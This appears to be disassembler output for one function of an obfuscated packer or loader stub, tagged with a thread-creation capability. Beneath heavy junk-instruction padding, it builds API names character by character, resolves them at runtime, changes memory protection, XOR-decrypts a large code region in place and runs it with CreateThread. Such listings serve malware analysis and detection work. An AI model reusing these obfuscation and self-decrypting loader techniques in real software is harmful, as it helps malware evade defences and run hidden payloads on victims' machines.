Function at 0x3fff7c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ecx, ecx
call fcn.03fffb73
push eax
push edx
pop edx
pop eax
lea eax, [ebp - 0xd8]
xchg edx, edx
mov ebx, 0x61
xchg ebx, ebx
pushfd
push 0x6590454
add esp, 4
popfd
add bx, 0xa
pushfd
inc edi
dec edi
popfd
pushfd
push 0x87d80d0c
add esp, 4
popfd
mov word [eax], bx
nop
sub bx, 6
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x1ffdf247
add esp, 4
popfd
mov word [eax + 2], bx
pushfd
inc edi
dec edi
popfd
add bx, 0xd
push eax
push ebx
pop ebx
pop eax
mov ebx, ebx
mov word [eax + 4], bx
xchg edi, edi
sub bx, 4
pushfd
push 0x88288bf5
add esp, 4
popfd
push ebx
push eax
pop eax
pop ebx
mov word [eax + 6], bx
pushfd
push 0xff24b744
add esp, 4
popfd
mov ebx, ebx
sub bx, 9
pushfd
inc eax
dec eax
popfd
pushfd
push 0x88229002
add esp, 4
popfd
mov word [eax + 8], bx
mov esi, esi
push edx
push ecx
pop ecx
pop edx
add bx, 7
push ecx
pop ecx
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 0xa], bx
push edx
push edi
pop edi
pop edx
mov edx, edx
sub bx, 0x39
push ecx
push esi
pop esi
pop ecx
push edx
push ecx
pop ecx
pop edx
mov word [eax + 0xc], bx
xchg ebx, ecx
xchg ecx, ebx
dec bx
pushfd
push 0xf08f8c90
add esp, 4
popfd
mov word [eax + 0xe], bx
xchg esi, ecx
xchg ecx, esi
pushfd
push 0x89767517
add esp, 4
popfd
sub bx, 4
xchg ebx, edi
xchg edi, ebx
mov word [eax + 0x10], bx
mov ecx, ecx
add bx, 0x36
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x12], bx
pushfd
push edx
add esp, 4
popfd
push edi
push esi
pop esi
pop edi
add bx, 8
mov ecx, ecx
push esi
pop esi
mov word [eax + 0x14], bx
xchg esi, ebx
xchg ebx, esi
mov word [eax + 0x16], bx
push edi
push edx
pop edx
pop edi
mov word [eax + 0x18], 0
pushfd
inc ecx
dec ecx
popfd
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push edi
pop edi
mov dword [ebp - 0x10], eax
xchg ebx, edi
xchg edi, ebx
lea eax, [ebp - 0xd8]
pushfd
xor edx, 0xf0cce479
xor edx, 0xf0cce479
popfd
pushfd
push ebx
add esp, 4
popfd
mov ebx, 0x61
nop
sub bl, 0xb
xchg ebx, eax
xchg ebx, eax
mov byte [eax], bl
pushfd
xor ebx, 0x52188f98
xor ebx, 0x52188f98
popfd
add bl, 0x13
xchg ecx, ecx
mov esi, esi
mov byte [eax + 1], bl
pushfd
push esi
add esp, 4
popfd
mov ebx, ebx
add bl, 9
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
push 0x8681abe1
add esp, 4
popfd
mov edx, edx
add bl, 2
pushfd
inc esi
dec esi
popfd
mov byte [eax + 3], bl
pushfd
xor ecx, 0x10e7e712
xor ecx, 0x10e7e712
popfd
pushfd
xor ecx, 0xe7b61dff
xor ecx, 0xe7b61dff
popfd
inc bl
push edx
pop edx
mov byte [eax + 4], bl
xchg esi, ebx
xchg ebx, esi
pushfd
push 0xa6145db9
add esp, 4
popfd
sub bl, 0x14
mov ebx, ebx
push esi
push edi
pop edi
pop esi
mov byte [eax + 5], bl
push edi
pop edi
add bl, 0xb
push eax
pop eax
mov byte [eax + 6], bl
pushfd
push edx
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x1c
push ecx
pop ecx
mov esi, esi
mov byte [eax + 7], bl
xchg ebx, ebx
add bl, 0x22
pushfd
inc edi
dec edi
popfd
mov byte [eax + 8], bl
pushfd
push 0xb5afcd68
add esp, 4
popfd
sub bl, 3
xchg esi, esi
mov byte [eax + 9], bl
push ecx
push esi
pop esi
pop ecx
mov edi, edi
add bl, 5
pushfd
inc esi
dec esi
popfd
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 0xa], bl
mov edi, edi
push eax
push ebx
pop ebx
pop eax
sub bl, 0xf
pushfd
xor edi, 0x7d0512d2
xor edi, 0x7d0512d2
popfd
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0xb], bl
pushfd
xor ecx, 0x3453e819
xor ecx, 0x3453e819
popfd
sub bl, 2
push ebx
pop ebx
push esi
pop esi
mov byte [eax + 0xc], bl
push ebx
push edi
pop edi
pop ebx
add bl, 0x11
push edi
push esi
pop esi
pop edi
mov byte [eax + 0xd], bl
mov esi, esi
mov byte [eax + 0xe], 0
push esi
pop esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push ebx
pop ebx
mov ecx, ecx
mov dword [ebp - 0xc], eax
push edx
pop edx
lea eax, [ebp - 8]
xchg ebx, ebx
push eax
push 4
push 0x578341
push entry0
call dword [ebp - 0xc]
push eax
pop eax
mov edi, entry0
pushfd
push 0xc27f133
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
mov esi, 0x40100e
pushfd
xor edi, 0x5f545476
xor edi, 0x5f545476
popfd
pushfd
push edi
add esp, 4
popfd
mov ecx, 0x578341
mov ebx, ebx
mov edx, 0xcee046e0
xchg edi, edi
mov ebx, 0xbfffffaf
pushfd
push 0xf6357bc8
add esp, 4
popfd
mov eax, eax
cld
mov ebx, ebx
lodsb al, byte [esi]
nop
xor al, dl
mov esi, esi
stosb byte es:[edi], al
mov edx, edx
ror edx, 5
xchg esi, esi
imul edx, edx, 7
mov ebx, ebx
test ebx, 1
mov edi, edi
je 0x3fffae7
mov esi, esi
add esi, 0xb
mov edx, edx
ror ebx, 1
mov edi, edi
dec ecx
xchg edx, edx
test ecx, ecx
mov eax, eax
jne 0x3fffac1
xchg ecx, eax
xchg ecx, eax
pushfd
xor edi, 0x93abe627
xor edi, 0x93abe627
popfd
lea eax, [ebp - 8]
push ecx
push esi
pop esi
pop ecx
push eax
push 0x20
push 0x578341
push entry0
call dword [ebp - 0xc]
pushfd
push 0x7c224f99
add esp, 4
popfd
push edx
push ecx
pop ecx
pop edx
lea eax, [ebp - 4]
mov esi, esi
push edx
pop edx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push ecx
pop ecx
push edx
pop edx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg ebx, edx
xchg edx, ebx
pushfd
inc edi
dec edi
popfd
jmp 0x3fffb46